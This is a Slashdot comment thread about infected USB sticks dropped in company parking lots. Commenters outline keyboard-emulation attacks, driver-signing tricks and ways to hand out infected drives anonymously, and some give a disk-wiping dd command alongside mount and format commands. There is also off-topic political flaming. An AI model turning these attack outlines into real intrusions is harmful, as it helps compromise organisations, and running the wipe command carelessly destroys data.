      And the usb stick could contain a mini hub allowing both a data store AND key logger/do whatever

    6. Re:just mount it in Linux by rastos1 · · Score: 1

      I've seen some that will act as keyboards ...

      Can we then get something like CONFIG_USB_KEYBOARD option in Linux kernel, please?

    7. Re:just mount it in Linux by marcosdumay · · Score: 1

      Why? Then it'll look like a network card, or a GPU, or a mouse, or watever else.

      Linux is missing a "Here, those are the devices that should connect. Besides those, only accept X", where X defaults to hard disks, but you can change to anything that fits you.

    8. Re:just mount it in Linux by mlts · · Score: 1

      It would be nice to have a parameter that would allow/deny USB device requests on what port they are plugged into. That way, I can have a USB card where if a device doesn't register as a mass storage device, it doesn't register at all, while the ports on the machine itself will allow keyboards, mice, etc. to connect normally.

      Another idea would be allowing devices to be "paired", where for the OS to officially recognize a keyboard or mouse, it would pop up a dialog asking the user to type in an 8 digit code, or click "ignore" if the message is in error. Similar with a mouse and clicking a short sequence of buttons with the just inserted device. That way, a device posing as a HID that shouldn't be one will be detected quite easily.

  5. why would you run something from it? by Anonymous Coward · · Score: 0

    Why would you run an executable from a USB stick you found in a goddamn parking lot? Is this the same crowd who'd find a syringe and needle in the parking lot, and inject it in themselves just to see what happens?

    Sometimes, people deserve what they get.

    1. Re:why would you run something from it? by mug+funky · · Score: 1

      what if it had been raining?

    2. Re:why would you run something from it? by YukariHirai · · Score: 1

      Well, with how malware works and how Windows autorun works, they wouldn't need to deliberately run it, just mount it. As for why someone would pick it up and mount it, I expect the malware distributors here were operating on the assumption that anyone who found a USB stick in a parking lot would assume that someone else at the company dropped it when they were getting their car keys out of their pocket or something, and would therefore probably be safe.

    3. Re:why would you run something from it? by hawguy · · Score: 3, Informative

      what if it had been raining?

      The flash drives would have been wet, yet fully functional after they dried?

      I've washed more than one flash drive and they still worked - I'm using one now that was washed over a year ago. I ran one through the driver once, and after I broke off the melted and mishapen plastic, I plugged it in and it worked.

    4. Re:why would you run something from it? by petermgreen · · Score: 3, Interesting

      There are a few factors

      1: the dominant operating system has blurred the line between running executables and opening data files. Then they went even furher and introduced autorun to make users live's easier. They have tried to put theese genies back in the bottle but it's difficult to do without introducing a load of pain for users.
      2: Even if the OS doesn't have the above problem a USB stick could be put together that enumerated as a keyboard as well as a mass storage device, it could then do pretty much anything the user can do (though it has to do it blind).
      2: the natural assumption when finding a USB stick in the company parking lot is that a co-worker dropped it. Therefore the natural thing to do is to try and determine who owns it so it can be returned to it's rightful owner. Deternining who owns it generally requires looking at the contents

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    5. Re:why would you run something from it? by Eyeball97 · · Score: 5, Funny

      I ran one through the driver once

       
      I say old chap, that's a bit rough, what? I hope you paid his medical expenses and gave him a shilling bonus after that experiment. Toodle pip...

    6. Re:why would you run something from it? by CohibaVancouver · · Score: 1

      This, of course, is how Obama got elected.

      Alright, I'll bite you Anonymous Coward. Would you rather have had McCain / Palin?

    7. Re:why would you run something from it? by Anonymous Coward · · Score: 1

      Even better, it can show up as an unknown device, a keyboard, and a mass storage device. On the mass storage device you have a fake device driver for the unknown device signed by one of the many zero-day signing exploits available on Windows, you use the fake keyboard to auto-accept the driver installation, and BAM, you have full kernel access to the system.

    8. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      Oh and here you go, get ready to stand in line citizen.

      http://dailycaller.com/2012/07/09/report-83-percent-of-doctors-have-considered-quitting-over-obamacare/

      "Even if doctors do not quit their jobs over the ruling, America will face a shortage of at least 90,000 doctors by 2020. The new health care law increases demand for physicians by expanding insurance coverage. This change will exacerbate the current shortage as more Americans live past 65."

      Good luck with your "free" health insurance.

      You do understand that insurance and care and different things or has that little tidbit escaped you?

      Don't trust me brother, you will find out soon enough.

    9. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      Palin believes in the free market, the Constitution and the right of the individual *and* has a proven track record for fighting corruption both within and without the Republican party.

      Ha Ha Ha, good one. Obvious troll is obvious.

    10. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      "Since ./ is a liberal cesspool"

      True, but also note, for every response there are many many more silent readers, many of which have critical thinking skills. These are who I am speaking to.

      Sunlight is the best disinfectant.

      Illegitimi non carborundum.

    11. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      An honest, considered, good-faith reaction to a disasterous VP candidate could be indistinguishable from a media smear campaign against a good candidate. In other words, one can't discern the candidate's merits merely from the commentosphere buzz.

      But 10 minutes of research would have disclosed that Palin was a corrupt idiot who should never have been allowed near any connection more influential than a light switch. Think much?

    12. Re:why would you run something from it? by geminidomino · · Score: 1

      Quid quid latine dictum sit, altum viditur

    13. Re:why would you run something from it? by CohibaVancouver · · Score: 1

      83-percent-of-doctors-have-considered-quitting-over-obamacare

      Blah blah blah. The doctors said the same thing in Canada fifty years ago when universal health care began to be implemented. Today Canuck docs claim they'll quit if health care is changed in Canada. How many American docs quit when medicare was put in place?

    14. Re:why would you run something from it? by CohibaVancouver · · Score: 1

      Palin believes in the Constitution

      How is this possible when she barely understands how the Supreme Court of the United States works? The Supreme Court defines the constitution of your nation.

    15. Re:why would you run something from it? by colinrichardday · · Score: 1

      The Daily Caller is citing this

      http://www.doctorsandpatients.org/component/content/article/81

      They sent out 16,227 surveys and received 699 responses for a response rate of 4.3%. Ooh, I'm scared.

    16. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      Don't forget that she doesn't know what the VP does. Which is embarrassing because it's quite simple. The VP Presides over the Senate casting the tie breaking vote when votes are deadlocked at 50-50 and the VP takes over for the President if the President resigns or is assassinated.

    17. Re:why would you run something from it? by Hognoxious · · Score: 4, Interesting

      Since ./ is a liberal cesspool

      The contents of your current working directory are of no interest to me.

      --
      Confucius say, "Find worm in apple - bad. Find half a worm - worse."
    18. Re:why would you run something from it? by Teun · · Score: 1

      You said it :)

      --
      "The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
    19. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      Really? And what powers exactly does the VP have beyond being second in line? And you think Biden (the Democrat Dan Quayle) is any better?

    20. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      mirabile visu, sed facile dictu.

    21. Re:why would you run something from it? by GameboyRMH · · Score: 1

      I ran one over with my car once and it still works to this day. All I had to do was bend the connector back into shape.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    22. Re:why would you run something from it? by Anonymous Coward · · Score: 0

      Non loqui latine

  6. How stupid do you have to be? by pro151 · · Score: 0

    To plug an unknown into your computer in the first place? Good grief, there will never be a shortage of stupid.

    1. Re:How stupid do you have to be? by Anonymous Coward · · Score: 0

      It's not stupid to plug it into your computer, it's stupid to run something from it.

      If you plug it in and immediately mkfs.vfat the thing, it's no problem.

    2. Re:How stupid do you have to be? by Anonymous Coward · · Score: 0

      It's not stupid to plug it into your computer, it's stupid to run something from it.

      In fact it is stupid to plug it in. It could contain an emulated USB keyboard that instantly does Win+R cmd [enter]... you can guess the rest.

    3. Re:How stupid do you have to be? by AHuxley · · Score: 1

      Depends if you feel that your carpark might on average have a rep or legal or sales person drop a usb stick.
      Better to pick it up, have it looked at than someone take it home or for a stranger to find it.

      --
      Domestic spying is now "Benign Information Gathering"
  7. Cool, free thumb drive! by toygeek · · Score: 5, Interesting

    dd if=/dev/zero of=/dev/[usbdrive]

    voila, free thumb drive, malware free.

    1. Re:Cool, free thumb drive! by mug+funky · · Score: 1

      that will likely bugger the drive up completely. some flash drives get written past the end or some crap like that.

      long story short, i tried this on a thumb drive that reported 8 gigs and was actually 4 gigs... after running dd it was completely useless and unrecoverable, at least by someone of my level of proficiency. YMMV

    2. Re:Cool, free thumb drive! by drooling-dog · · Score: 1

      Heh heh... For Linux I do this routinely to get rid of the manufacturer's crapware, but every time I mount it on my GF's WinXP box it actually has to pause so it can download and reinstall it. WTF?

    3. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      Yes, because we all know that having technically savvy people using the Internets have all but eliminated these attack vectors. This is targeting average users. If you used an iphone instead of a thumb drive you might catch a few more fish.

    4. Re:Cool, free thumb drive! by hawguy · · Score: 4, Insightful

      dd if=/dev/zero of=/dev/[usbdrive]

      voila, free thumb drive, malware free.

      Not if the drive has firmware that detects if it's plugged into a Windows host. For non-windows, it acts as a normal flash drive, but if you plug it into Windows, then it exposes the virus. So you take it home, load it up with MP3's from your linux computer and everything is fine, but then when you give it to your wife and she see a filenamed "naked_secretary.exe", she runs it and gets infected.

    5. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      I doubt that is what ruined your drive, it was probably a fake.

      http://hardware.slashdot.org/story/11/04/08/170235/magical-chinese-hard-drive

      Fakes that misreport are plentiful.

    6. Re:Cool, free thumb drive! by mark-t · · Score: 3, Informative

      After executing 'dd', you still need to run mkfs on the device that holds the filesystem, or else all you have is a blanked drive. Don't forget to use "-t vfat" as an option to mkfs, or else you won't be able to use it anywhere but in Linux.

    7. Re:Cool, free thumb drive! by k(wi)r(kipedia) · · Score: 4, Informative

      Not if the drive has firmware that detects if it's plugged into a Windows host.

      Interesting. But can Linux detect the presence of the firmware, which presumably has to send some sort of message down the USB bus? My closest experience to this is with a combo USB 3G modem and flash drive.

      To handle such devices under Linux, there's a program called USB modeswitch. From the package description:

      Mode switching tool for controlling "flip flop" USB devices

      Several new USB devices have their proprietary Windows drivers onboard, especially WAN dongles. When plugged in for the first time, they act like a flash storage and start installing the driver from there. If the driver is already installed, the storage device vanishes and a new device, such as an USB modem, shows up. This is called the "ZeroCD" feature.

      On Debian, this is not needed, since the driver is included as a Linux kernel module, such as "usbserial". However, the device still shows up as "usb-storage" by default. usb-modeswitch solves that issue by sending the command which actually performs the switching of the device from "usb-storage" to "usbserial".

    8. Re:Cool, free thumb drive! by v1 · · Score: 2

      the really annoying ones are the drives that present TWO storage devices. One usually contains drivers, or a small partition with the security software to properly mount the second protected device.

      Those are usually NOT separate partitions, they're separate DEVICES and thus a dump from DD doesn't get them both. The other one is usually permanently write-protected also, tho there can be ways to get around that sometimes if you know how.

      --
      I work for the Department of Redundancy Department.
    9. Re:Cool, free thumb drive! by davidwr · · Score: 1

      The other one is usually permanently write-protected also, tho there can be ways to get around that sometimes if you know how.

      If there are ways to get around the "permanent" write-protection, then it's not permanent.

      Speaking of which, I wish every memory-storage device had a write-lock that was actually enforced in hardware or at least enforced by immutable firmware, much like the write-lot tabs on floppy drives used to be enforced in hardware. Why? So I could have a 100% guarantee that if I put my memory card or USB stick in a device with the tab engaged, none of the bits on the stick would change at all, no matter what the operating system or software on the host computer was trying to do.

      --
      Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
    10. Re:Cool, free thumb drive! by fermion · · Score: 3, Insightful

      As long as your computer does not autoexecute the USB drive, there is no problem. Of course, on many machines the USB does execute automatically, and it seems if the IT department lets that behavior stand, the responsibility cannot be with the user, but with the IT people.

      --
      "She's a scientist and a lesbian. She's not going to let it slide." Orphan Black
    11. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      that will likely bugger the drive up completely. some flash drives get written past the end or some crap like that.

      Utter and complete nonsense. The advertised LBA range on a flash drive is exactly the same (method/model) as on an ATA or SATA hard disk. You can't "write past the end or some crap like that". It won't bugger up anything. Please get more familiar with storage devices -- specifically how they work and the underlying protocol semantics / implementation.

    12. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 1

      Unless the malware is actually located in the drive's firmware.

      (Recall: people on ebay have been scammed when buying portable hard drives that turned out to be nothing more than firmware-hacked thumb drives and metal weights to make them feel like they contain a real hard drive.)

    13. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      Can't do that. Patents and stuff you know. From now on, you need to find ext2/3/4 driver for your OS in order to interoperate with my data. Sorry about the inconvenience.

    14. Re:Cool, free thumb drive! by Compaqt · · Score: 1

      This. Kingston DataTraveller used to have this, but the new ones don't.

      --
      I'm not a lawyer, but I play one on the Internet. Blog
    15. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 2, Interesting

      The USB device just needs to look for typical access patterns to determine what kind of system it's plugged into. It can look like a completely normal USB mass storage device to both systems, just with a different payload depending on the way it's accessed by the host.

      A USB thumb drive isn't limited to being a USB mass storage device either. It could pose as a keyboard and send key sequences to open a shell and send files to a server on the internet.

      This just goes to show that Linux isn't immune against user stupidity either. Where Windows users are ignorant, Linux users are smug, and that makes them just as vulnerable.

    16. Re:Cool, free thumb drive! by fatphil · · Score: 1

      Why did you bother running dd anyway? If you're going to run (presumably fdisk and) mkfs, then who cares how "evil" any other bytes are on the device, those bytes won't be in any files, they can't harm you.

      --
      Also FatPhil on SoylentNews, id 863
    17. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      I have a USB drive with 2 partitions. One NTSC and one ext3. This drive opens just fne on everything I've tried it on, xp, 2000, win7....

    18. Re:Cool, free thumb drive! by v1 · · Score: 1

      A pc tech friend of mine had one of these, he'd put his anti-malware software on it and then lock it before attaching to any infected computer. Good way to keep your flash drive and its tools from getting infected.

      And on a side-note... the slide lock on SD cards, it's ornamental only. I was surprised to find this out. I put a different firmware on a card and tried to boot my camera from it, and it refused to boot. After some digging I found out that I had to LOCK it for it to boot. Now, what good is a locked SD card in a camera? Didn't matter. The alternate software booted and I was able to take pictures (which were written to the card) no problem. The slide lock appears to only be a physical slide with no electrical contacts in the card to disable write, and relies on the camera to enforce the lock, I assume the camera has a physical reader in the card slot to detect position. So don't rely on locking the card, because it's entirely up to the camera as to whether or not it's actually read-only.

      I'm surprised more usb flash drives don't feature lock switches. Even a little micro slide switch accessible through a small slot in the outer shell would be fine. Or even a micro slide inside the usb port. (I have a really small micro sd to usb adapter here that the micro sd card inserts NOT in the back of the little unit, but in the open end of the usb connector, where the flat part usually is, so there is a possibility there)

      --
      I work for the Department of Redundancy Department.
    19. Re:Cool, free thumb drive! by mark-t · · Score: 1

      Tell that to the makers of mkdosfs

    20. Re:Cool, free thumb drive! by davidwr · · Score: 1

      I use a card-reader and a camera card as my anti-virus tool.

      Yes, it MAY be possible for a computer to override this if the lock isn't enforced by the card-reader, but how likely is it that a given virus will include such code?

      When I'm that concerned, I use a bootable CD for the first stage of disinfection.

      --
      Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
    21. Re:Cool, free thumb drive! by marcosdumay · · Score: 1

      Because there are a couple of sectors that are still read by the OS, but aren't changed by mkfs.

      Now, he doens't need to run it over the entire device.

    22. Re:Cool, free thumb drive! by fatphil · · Score: 1

      The sectors written by fdisk?

      --
      Also FatPhil on SoylentNews, id 863
    23. Re:Cool, free thumb drive! by marcosdumay · · Score: 1

      Yep, written by fdisk and grub.

      It just seems easier to blank them.

    24. Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      I'm fairly sure they already know how to read ext formatted data.

    25. Re:Cool, free thumb drive! by mark-t · · Score: 1

      If mkdosfs infringes on patents, that's the problem of the makers of mkdosfs, not the users of the utility.

    26. Re:Cool, free thumb drive! by ZarelTgr · · Score: 1

      Ah yes, like those Sandisk Cruzer devices with the U3 partition that you had to go through several hoops to get the software (Windows only) that would nuke that damn thing and return the drive to a single partition... Those drives were so popular with a group I was with, that I put the removal software in our internal toolkit page. Popular download, especially when a couple weeks later, it was no longer available on the Sandisk website (or got moved somewhere that nobody could figure out how to get to) but the drives were still being widely sold. Perhaps they still are? Haven't checked lately... a bit overpriced.

    27. Re:Cool, free thumb drive! by mark-t · · Score: 1

      Actually, I went searching for some info on those patents, and just found this". Seems it has been a non-issue for the past 3 years.

    28. Re:Cool, free thumb drive! by v1 · · Score: 1

      yup, that U3 is the most common offender I've seen

      --
      I work for the Department of Redundancy Department.
    29. Re:Cool, free thumb drive! by Zanadou · · Score: 1

      "naked_secretary.exe"

      Hey, that's the combination on my luggage!

  8. Tag: Not News by Jerslan · · Score: 1, Insightful

    Seriously, how did this get past the fire-hose? This isn't a new idea, practice, or form of attack. It's actually many many years old (likely dating back to the days of floppy disks). Most company Security and/or IT policies state that you should bring found USB Drives to Security and/or IT, and expressly forbid just plugging them into a company computer on the company network. I have no idea how anyone at Slashdot would have found this remotely news-worthy.

    1. Re:Tag: Not News by l0ungeb0y · · Score: 1

      Because it's an example of something going the way it's *should* go instead of the way it usually goes -- with the end user infecting their entire corporate network in a single bone headed "ooh goodie!" moment.

    2. Re:Tag: Not News by hairyfeet · · Score: 1

      Because sadly users seem to forget that what works in tech A can work just as well with tech B and have to be re-educated all over?

      I've had to deal with this in the shop, what with so many switching to smartphones lately and wrote about it in my journal here. basically those same "Hey you won a $1000 gift card" emails that haven't worked in regular emails in years work just fine when it comes to smartphones. Its like people just don't connect one to the other and so really OLD tricks work on them when given with new tech. This is why I think phone malware is gonna explode, the same people that wouldn't install a program on their Windows PC from just anywhere will happily do so to be given " free Angry Birds!" so all you can do is try to warn them as best you can.

      --
      ACs don't waste your time replying, your posts are never seen by me.
    3. Re:Tag: Not News by Jerslan · · Score: 1

      Yeah, but this probably happens every day somewhere in the world.

    4. Re:Tag: Not News by Jerslan · · Score: 1

      The smartphone SMS spam might be relevant (though your average Slashdotter should know better anyways).

      Regardless of what users seem to think, people *here* should already know better. This *could* be considered newsworthy somewhere that the target demographic may not know this already. Slashdot's target demographic (somewhat tech-literate people) should know better regardless.

    5. Re:Tag: Not News by hairyfeet · · Score: 1

      Yes but who has to SUPPORT the targeted demographic? that would be us. Did i think about anybody that actually reads /. falling for the SMS spam when i wrote in my journal? Nope but I know that many here are admins and when dealing with clueless users its nice to know what is going down, hence the journal.

      In the end we geeks sometimes just don't see what is coming because we wouldn't ever fall for it and naturally assume or users wouldn't fall for something so obvious either. Well I can tell you that from working with average folks fixing and selling PCs since the days of Win 3.x that for every 1 that would turn the stick in 100+ would happily pop it in to a PC just to see what is on it. Curiosity is a natural human condition and we need to warn our users that it can be an attack vector just as much as email or SMS.

      --
      ACs don't waste your time replying, your posts are never seen by me.
  9. This is discussed in... by Darth_brooks · · Score: 4, Interesting

    This technique is discussed in "Metasploit - The penetration testers guide" ( http://shop.oreilly.com/product/9781593272883.do )

    Excellent book by the way. After reading it, you'll never look at computer security the same way again, and may very well just switch to an Abacus with a box of crayons on top.

    --
    There are some people that if they don't know, you can't tell 'em.
    1. Re:This is discussed in... by Overzeetop · · Score: 1

      I'm afraid our accounting and marketing departments are already using that level of technology, or at least it would seem so based on their output.

      --
      Is it just my observation, or are there way too many stupid people in the world?
  10. Self-reporting by Gothmolly · · Score: 1

    How many times did this work and we DONT hear about it, in cases where people did NOT take it to their IT department?

    --
    I want to delete my account but Slashdot doesn't allow it.
    1. Re:Self-reporting by bloodhawk · · Score: 1

      probably thousands of times, this is a very very old form of attack that has been commonly documented and used dating all the way back to the floppy disk. Most IT departments have policies specifically around found disks and media for this exact reason. Why one such failed attempts warrants a front page article is the real mystery here.

    2. Re:Self-reporting by nojayuk · · Score: 1

      Most of the corporates and large institutional organisations I've done IT support for have USB ports and CD drives locked down. Techs can use USB sticks to install drivers etc. on specific machines but they're specialised devices, hardware encrypted and password-protected and the only type of external data device the OS installed on the user machines will accept -- sticking a commodity USB stick into a network-connected PC will do nothing except generate a log entry and flag up an alarm if the security policy requires it. Talking to the user about their unsanitary habits was carried out by someone higher grade than me, thankfully.

  11. Actually if the criminals are smart by rolfwind · · Score: 1

    So next time, don't expect to find someone's dirty pictures on a USB stick you just found...

    Actually, that's exactly what industrial spies should put on there if they were smart.

    1. Re:Actually if the criminals are smart by antifoidulus · · Score: 1

      And the dumb ones write "naked cowboy Neal pics!!!" on the drive.

  12. Linux Live CD by Anonymous Coward · · Score: 1

    I would use a Linux live cd... No real threat of infection since it would probably target windows anyway. For added security, unplug the power to the hard drives.

    1. Re:Linux Live CD by Anonymous Coward · · Score: 0

      How about BIOS virus ?

    2. Re:Linux Live CD by PPH · · Score: 1

      You mean boot sector virus, right?

      You don't boot from the 'found' drive. Or run anything you find on it, automatically or otherwise.

      --
      Have gnu, will travel.
    3. Re:Linux Live CD by fa2k · · Score: 1

      No, a BIOS virus is a concern. Software can flash the BIOS (there are windows UIs for it). It's also possible to flash the firmware of graphics cards, and possibly other hardware.

    4. Re:Linux Live CD by PPH · · Score: 1

      Well, with Windows, anything is possible (they'll twist this as an advertising slogan, no doubt).

      I don't know why people use Windows from an admin account (or if that would even help). But if I don't view my found porn USB sticks as root on Linux, I can' screw up.

      --
      Have gnu, will travel.
  13. Old trick. by Caerdwyn · · Score: 5, Insightful

    This is a time-honored way of targeting a particular company. It sounds expensive, but if your motivation is commercial or governmental *coughcoughstux* it's extremely cheap compared to the alternatives (bribery, breaking-and-entering, rubber-hose cryptography). It's also a great way of finding out whether your own organization is aware of malware trouble; this technique is commonly used as part of security audits performed by companies hired to find out how good your company really is.

    A company I worked for a few years ago hired a security auditing firm to check up on ourselves (only a few people were told, and we were told to keep quiet to ensure that our day-to-day practices were tested, not our "crap, someone's checking!" performance). They were unable to penetrate the network from the outside (including wirelessly) or socially engineer their way past reception or weasel out a password, but they got in via the USB-stick-in-the-parking-lot method. They told us afterwards that this is an extremely effective technique, as primate curiosity is almost unstoppable.

    --
    Everybody gets what the majority deserves.
    1. Re:Old trick. by Zadaz · · Score: 2

      Older than that. Well before USB thumb drives I was contracting at [Large Government Contractor You've Heard Of]. One day someone was outside on the street giving away CDs with free software on them. They were nice and pro, color cardboard sleeves shrink-wrapped. On the CDs were a bunch of shareware and just as many viruses.

      I didn't really mind. for three full days I got paid to sit around and wait for the admins to fumigate the network.

      The exact same thing happened less than a year later.

    2. Re:Old trick. by wvmarle · · Score: 1

      I wonder whether the specific attack discussed here was successful.

      As in: did the IT department find any other infected sticks (just one could be just as well an accidentally lost stick that happened to carry a virus), and did they find the malware on any of their company computers?

    3. Re:Old trick. by Reziac · · Score: 1

      Older than that. Used to be "free floppies" occasionally with bonus malware.

      Now get off my lawn!

      --
      ~REZ~ #43301. Who'd fake being me anyway?
  14. It'll work even better... by Anonymous Coward · · Score: 0

    ...if it's one of those shaped like red kissing lips, has a little piece of lingerie wrapped around it, a little bit of perfume, and does indeed have some dirty pictures on there (seemingly amateur pictures taken with a phone). Chances are a lot of colleagues will want to have a look to see if they "recognize somebody".

  15. lol stuxnet lite by Alex+Belits · · Score: 1

    Idiots. Both of them.

    --
    Contrary to the popular belief, there indeed is no God.
  16. Personal Story by schklerg · · Score: 4, Interesting

    So a coworker found a usb key in the parking lot and wisely didn't plug it in. Instead he asked me to check it out before he did. So dutifully I fired up my live CD, plugged it in and quickly saw it belonged to a coworker. But which one in a company of 300+? Well, that was actually pretty easy to figure out, since there was a nice folder with pictures of himself naked in a mirror. Many of them. All alone. So I gave the guy the USB key, told him what I'd seen, washed my hands (and disinfected my cubicle) and was sooooo glad when the photographer took a different job.
    So there may be a virus, or maybe just a lonely coworker.

    --
    Be Excellent To Each Other
    1. Re:Personal Story by phantomfive · · Score: 5, Funny

      Many of them. All alone.

      You looked at them all to 'make sure,' huh?

      --
      "First they came for the slanderers and i said nothing."
    2. Re:Personal Story by Anonymous Coward · · Score: 0

      He gave them the good, old "fap test".

    3. Re:Personal Story by fa2k · · Score: 1

      Yeah, that's why he had to clean the cubicle afterwards

    4. Re:Personal Story by schklerg · · Score: 1

      I could explain things with thumbnail view, but thanks for the ridicule.

      --
      Be Excellent To Each Other
    5. Re:Personal Story by phantomfive · · Score: 1

      Always happy to oblige. And no one actually cares if you had to look at them or not anyway.

      --
      "First they came for the slanderers and i said nothing."
  17. Contest by chrismcb · · Score: 4, Interesting

    Wouldn't it be more productive to give them away? As in brand them with the name of a product, and literally give them away at a place where they employees visit. I think someone would be much more likely to use a USB given to them at a "legitimate" event, than one found on the ground.

    1. Re:Contest by Jeremi · · Score: 1

      Wouldn't it be more productive to give them away? [...] I think someone would be much more likely to use a USB given to them at a "legitimate" event, than one found on the ground.

      I think you're right... but the downside would be that it would be much easier for the victims to track the infection back to its source that way.

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    2. Re:Contest by Anonymous Coward · · Score: 0

      Who plugs in a USB stick they've been given as part of a marketing campaign? Wouldn't you just assume that it was full of crapware?

    3. Re:Contest by Compaqt · · Score: 1

      Get someone to hand out the drives for you, for $100 for two hours work.

      People coming into the event think that he/she is associated with the event.

      Afterwards, no one knows who it was who was passing out drives.

      (It's the old "look like you belong" trick. Put on a service uniform--janitor, phone tech, whatever--and no one will stop you.)

      --
      I'm not a lawyer, but I play one on the Internet. Blog
    4. Re:Contest by Overzeetop · · Score: 1

      Depends on if you actually want information, or if there are catalogs on the drive.

      Heck, since just plugging in the drive causes the infection (if the machine is set to autorun), just putting it in to format it and use as a cheap sneakernet would infect the machine.

      --
      Is it just my observation, or are there way too many stupid people in the world?
    5. Re:Contest by Anonymous Coward · · Score: 0

      That's why you make use of someone else's event.

    6. Re:Contest by Jeremi · · Score: 1

      (It's the old "look like you belong" trick. Put on a service uniform--janitor, phone tech, whatever--and no one will stop you.)

      I'm not saying it couldn't work, just that it's more risky. Nobody will stop you, but your face (or that of the guy you hired) will be in all the convention security footage afterwards, once the victim realizes where the virus came from and asks the convention people about it. Scattering USB sticks in public places, on the other hand, is less likely to compromise your anonymity (well maybe not in Britain).

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    7. Re:Contest by Compaqt · · Score: 1

      Right on the security cameras.

      But it won't be you.

      It'll be some guy you got off of Craigs List that you paid in cash and who doesn't remember your face, and you told him you were "with the convention" and he believed you.

      If you can organize it, you have the chance of much more probable hits (wide coverage--the USB drives get in to the hands possibly everybody at the company or everybody important).

      --
      I'm not a lawyer, but I play one on the Internet. Blog
    8. Re:Contest by Jeremi · · Score: 1

      It'll be some guy you got off of Craigs List that you paid in cash and who doesn't remember your face, and you told him you were "with the convention" and he believed you.

      Well, you hope he won't remember your face. If you're unlucky, he'll describe to the police what you look like, what kind of car you drove to the meeting, etc.

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
  18. FIXED Re:Cool, free thumb drive! by davidwr · · Score: 1

    Don't forget to AVOID USING "-t vfat" as an option to mkfs, or else you MAY be able to use it SOMEWHERE BESIDES Linux.

    There, fixed that for you

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
    1. Re:FIXED Re:Cool, free thumb drive! by mark-t · · Score: 2

      If one has absolutely no intention on using the USB stick anywhere but on a Linux system sure... generally, however, I find that individual USB sticks get used on many different devices, and it's often ideal for it to be usable from any OS.

    2. Re:FIXED Re:Cool, free thumb drive! by xaxa · · Score: 1

      If you wish to avoid FAT (patents, etc) then use UDF instead.

      mkudffs --media-type=hd --blocksize=512 /dev/sdx (NB: no partitions, format the whole device).

      I haven't tried this, I hardly ever use USB sticks.

    3. Re:FIXED Re:Cool, free thumb drive! by slashping · · Score: 1

      FAT is also a better file system for flash drives, because the flash firmware is optimized for it. For that reason, it's also best not to repartition or reformat a flash drive with different FAT parameters.

    4. Re:FIXED Re:Cool, free thumb drive! by Anonymous Coward · · Score: 0

      whoosh

  19. Use the force they must by Anonymous Coward · · Score: 0

    I didn't know Yoda changes his name to Anne and was writing news articles these days

  20. dude by Anonymous Coward · · Score: 0

    dude you are fuckin' boring !

    get Ethanol-fueled unbanned please !

    1. Re:dude by Anonymous Coward · · Score: 0

      Modded up, because I actually liked reading his stuff.

    2. Re:dude by MichaelSmith · · Score: 1

      Wow he went off the deep end right at the end there. Hope he is okay.

  21. Linux virus by DrYak · · Score: 5, Informative

    If you think Linux has a magical immunity you might want to read how to write a Linux virus in 5 easy steps which shows with just a little social engineering its really not hard to target Linux just as the malware writers target Windows and OSX now.

    From the article you mention:

    A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won't have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can't just click on it and start it if the execute bit is not set.

    Done. Modern versions of KDE need launcher to have execute permission. That hole is patched.

    And nobody pretends that Linux has some magically imunity to viruses. As a Unix-like OS it just follows a few key principles :
    - don't blindly execute everything. require executable to be explicitely marked as such (thus any shit downloaded from the web or from e-mail won't automatically be launchable).
    - don't run constantly as root. thus the amount of harm that a program can do is limited to the access rights of a user. (While this still makes it possible to send spam, mine the data of the user, and modify the user profile, at least it prevents further deeper compromising of the running system).
    That doesn't magically solve all malware problems in the universe. But at least it makes the life of malware writer a little bit more complicated. And the 5-step virus relies on a work-around of the first rule. Which has been since then corrected.

    Back then, this no-brainer principles were NOT followed by Windows XP, making it even easier to write worms spreading over e-mail. Thankfully, since then Vista has arrived and has brought UAC dialogs in these situations (now how much dialogs can help security problems when the users are used to "okay" click on everything, that remains to be seen).

    Or did you think android runs on Windows?

    Android is a completely different beast and instead of unix-like userland it uses it's very own userland (a Java-like system).
    Though it too doesn't allow execution of arbitrary e-mail attachment too. It's not impossible to write android malware, even malware that finds a way to look legitimate to android's capability system.

    But at least the scenario "Here are some pics of hot lesbian teens! Click on the attachment to view them!" doesn't work on modern OSes. Except windows (and that's until WinXP, starting from Vista, you get an UAC dialog telling you that you run an executable from an untrusted source - now how many idiots will click on "okay" anyway is a different story).

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:Linux virus by Anonymous Coward · · Score: 2, Informative

      In case of a rogue USB stick, the virus wouldn't be downloaded. It would already be on a fs with execute bit set.

      I find it odd: the amount of mental gymnastics you go through to prove linux to be better.

    2. Re:Linux virus by ais523 · · Score: 3, Informative

      Same with Gnome, btw; a launcher without execute permission will get opened in a text editor if you double-click on it.

      --
      (1)DOCOMEFROM!2~.2'~#1WHILE:1<-"'?.1$.2'~'"':1/.1$.2'~#0"$#65535'"$"'"'&.1$.2'~'#0$#65535'"$#0'~#32767$#1"
    3. Re:Linux virus by colinrichardday · · Score: 2

      That still doesn't help the attacker if the filesystem is set noexec.

      mount -o noexec /dev/usb /media/usb_stick

